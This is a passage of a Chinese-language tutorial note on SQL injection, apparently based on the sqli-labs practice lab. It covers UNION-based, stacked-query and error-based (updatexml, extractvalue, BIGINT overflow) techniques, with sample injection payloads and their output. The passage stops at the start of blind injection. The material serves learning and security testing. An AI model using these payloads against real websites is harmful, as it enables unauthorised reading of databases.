基于从服务器接收到的响应

  • 基于错误的 SQL 注入

  • 联合查询的类型

  • 堆查询注射

  • SQL 盲注

    • 基于布尔 SQL 盲注Mysql 注入

    • 基于时间的 SQL 盲注

    • 基于报错的 SQL 盲注

基于如何处理输入的 SQL 查询(数据类型)

  • 基于字符串

  • 数字或整数为基础的

基于程度和顺序的注入

  • 一阶注射

    一阶注射是指输入的注射语句对 WEB 直接产生了影响,出现了结果

  • 二阶注射

    二阶注入类似存 储型 XSS,是指输入提交的语句,无法直接对 WEB 应用程序产生影响,通过其它的辅助间 接的对 WEB 产生危害,这样的就被称为是二阶注入.

基于注入点的位置上的

  • 通过用户输入的表单域的注射。

  • 通过 cookie 注射。

  • 通过服务器变量注射。 (基于头部信息的注射)

以上摘抄自《sqlilabsg过关手册注入天书》

自己大致总结如下

  • 联合查询
  • 堆叠查询
  • 报错注入
  • 布尔盲注
  • 时间盲注
  • 宽字节注入
  • 二阶注入
  • 头部注入

数字型/字符型注入判断

id 数字型(id=id) 字符型 (id=’id’)
1’ id=1’ 返回错误 id=’1’’ 返回错误
1’ –+ id=1’ –+ 返回错误 id=’1’ –+’’ 返回正常
1 and 1=1 id=1 and 1=1 返回正常 id=’1 and 1=1’ 返回正常
1 and 1=2 id=1 and 1=2 返回错误 id=’1 and 1=2’ 返回正常
1 or 1=1 id= 1 or 1=1 返回正常 id= ‘1 or 1=1’ 返回正常
1 or 1=2 id=1 or 1=2 返回正常 id=’1 or 1=2’ 返回正常

联合查询

前提条件:页面上有显示位

UNION 操作符用于合并两个或多个 SELECT 语句的结果集。

请注意,UNION 内部的每个 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每个 SELECT 语句中的列的顺序必须相同。

1
2
3
4
SELECT column_name(s) FROM table1
UNION
SELECT column_name(s) FROM table2;
# 默认地,UNION 操作符选取不同的值。如果允许重复的值,请使用 UNION ALL。

UNION的作用是将两个select查询结果合并,为了爆出第一位后面的显示位,需要隐藏正常结果,比如将?id=1改为?id=-1,使union前面的语句报错,执行后面的,爆出显示位

1
2
# union 前面的语句不爆错,界面显示正常
SELECT * FROM users WHERE id='1' union select 1,2,3 -- ' LIMIT 0,1

image-20230417201543275

1
2
# 使union前面的sql语句报错,后面的查询结果出来了
SELECT * FROM users WHERE id='-1' union select 1,2,3 -- ' LIMIT 0,1

image-20230417201614694

相关函数

order by

ORDER BY 关键字用于对结果集按照一个列或者多个列进行排序。

1
2
select * from 表名 order by 列名(或者数字) asc;升序(默认升序)
select * from 表名 order by 列名(或者数字) desc;降序

这里的重点在于order by后既可以填列名或者是一个数字。举个例子: id是user表的第一列的列名,那么如果想根据id来排序,有两种写法:

1
2
select * from user order by id;
selecr * from user order by 1;

所以说在判断字段数时用order by,再不超过字段数时页面返回正常,一旦超出就会报错

1
2
SELECT * FROM users WHERE id='1' order by 3 -- ' LIMIT 0,1
# 字段数为3,页面返回正常

image-20230417202821353

1
2
SELECT * FROM users WHERE id='1' order by 4 -- ' LIMIT 0,1
# 字段数为4,超出最大字段数,页面报错

image-20230417203445041

字符串连接函数

concat()函数

CONCAT(str1,str2,…)
返回结果为连接参数产生的字符串。如有任何一个参数为NULL ,则返回值为 NULL。可以有一个或多个参数。

1
2
select concat(id,username) from users;
# 返回的结果是拼接在一起的

image-20230417205946504

CONCAT_WS()函数

CONCAT_WS() 代表 CONCAT With Separator ,是CONCAT()的特殊形式。第一个参数是其它参数的分隔符。分隔符的位置放在要连接的两个字符串之间。分隔符可以是一个字符串,也可以是其它参数。如果分隔符为 NULL,则结果为 NULL。函数会忽略任何分隔符参数后的 NULL 值。但是CONCAT_WS()不会忽略任何空字符串。 (然而会忽略所有的 NULL)。

CONCAT_WS(separator,str1,str2,…)

Separator为字符之间的分隔符

1
2
select concat_ws('~',id,username) from users;
# 第一个是分隔符,返回的数据更加的直观

image-20230417210256134

GROUP_CONCAT()函数

GROUP_CONCAT函数返回一个字符串结果,该结果由分组中的值连接组合而成。

1
2
select group_concat(id,username) from users;
# 将查询的数据拼接成一行

image-20230417210944941

堆叠查询

在SQL语句中,语句的结束都是以结尾,但是如果我们在后面再加上一条SQL语句,两条语句会一起执行

1
2
3
use security;show tables;
# 上面的写了两条sql语句,第一条进入security数据库中,第二条查询当前数据库中所有的table表
# 可以看到他们同时运行了

image-20230417214501312

1
2
3
use secu;show tables;
# 当第一条数据出错时,后面的语句依旧运行
# 上面我进入了一个不存在的数据库,报错了,但后面吗语句依旧查询了当前的数据库的所有table表(我还在security中)

image-20230417214851961

报错注入

报错注入的使用场景一般是在页面无法显示数据库的信息,但是是有报错内容的,报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。

报错注入形式上一般是做两个嵌套的查询,里面的那个查询被称为子查询,执行顺序也是从子查询开始的,所以我们可以通过子查询查询我们想要的数据,然后在通过报错函数将我们查询到的数据带出,从而达到爆出想要查询的数据。

相关函数

updatexml()

1
updatexml(XML_document,XPath_string,New_value)
参数 描述
XML_document string格式,为XML文档对象的名称
XPath_string 代表路径,Xpath格式的字符串
New_value string格式,替换查找到的符合条件的数据

当第二个参数格式出现错误,会将第二个参数的内容显示在报错信息中

1
2
3
4
5
select updatexml(1,concat(0x7e,(select version()),0x7e),1);
# 报错注入形式上一般是做两个嵌套的查询,里面的那个查询被称为子查询,执行顺序也是从子查询开始的
# updatexml()中的第二个参数是concat(0x7e,(select version(),0x7e)执行结果是
# updatexml(1,~5.7.42~,1);
# ~5.7.42~ 不符合Xpath格式因此报错,将~5.7.42~打印了出来

image-20230425142736698

extractvalue()

1
2
extractvalue(XML_document,xpath_string)
# 同样当第二个参数格式出现错误,会将第二个参数的内容显示在报错信息中
参数 描述
XML_document string格式,为XML文档对象的名称
xpath_string 代表路径,Xpath格式的字符串
1
2
3
4
select extractvalue(1,concat(0x7e,(select version()),0x7e));
# 参数一为:1
# 参数二为:concat(0x7e,(select version()),0x7e),执行后结果为~5.7.42~
# ~5.7.42~ 不符合Xpath格式因此报错,将~5.7.42~打印了出来

image-20230425143845649

BITINT溢出

数据类型BIGINT的长度为8字节,也就是说,长度为64比特。这种数据类型最大的有符号值,用二进制、十六进制和十进制的表示形式分别为“0b0111111111111111111111111111111111111111111111111111111111111111”、“0x7fffffffffffffff”和“9223372036854775807”。 当对这个值进行某些数值运算的时候,比如加法运算,就会引起“BIGINT value is out of range”错误。

image-20230425150532765

可以参考文章 bigint 溢出文章 http://www.cnblogs.com/lcamry/articles/5509112.html

我没有复现成功可能已经修复了,我虽然报错了但并没有查询到数据

布尔盲注

何为盲注?盲注就是在 sql 注入过程中,sql 语句执行的选择后,选择的数据不能回显

到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。

相关函数

Mid()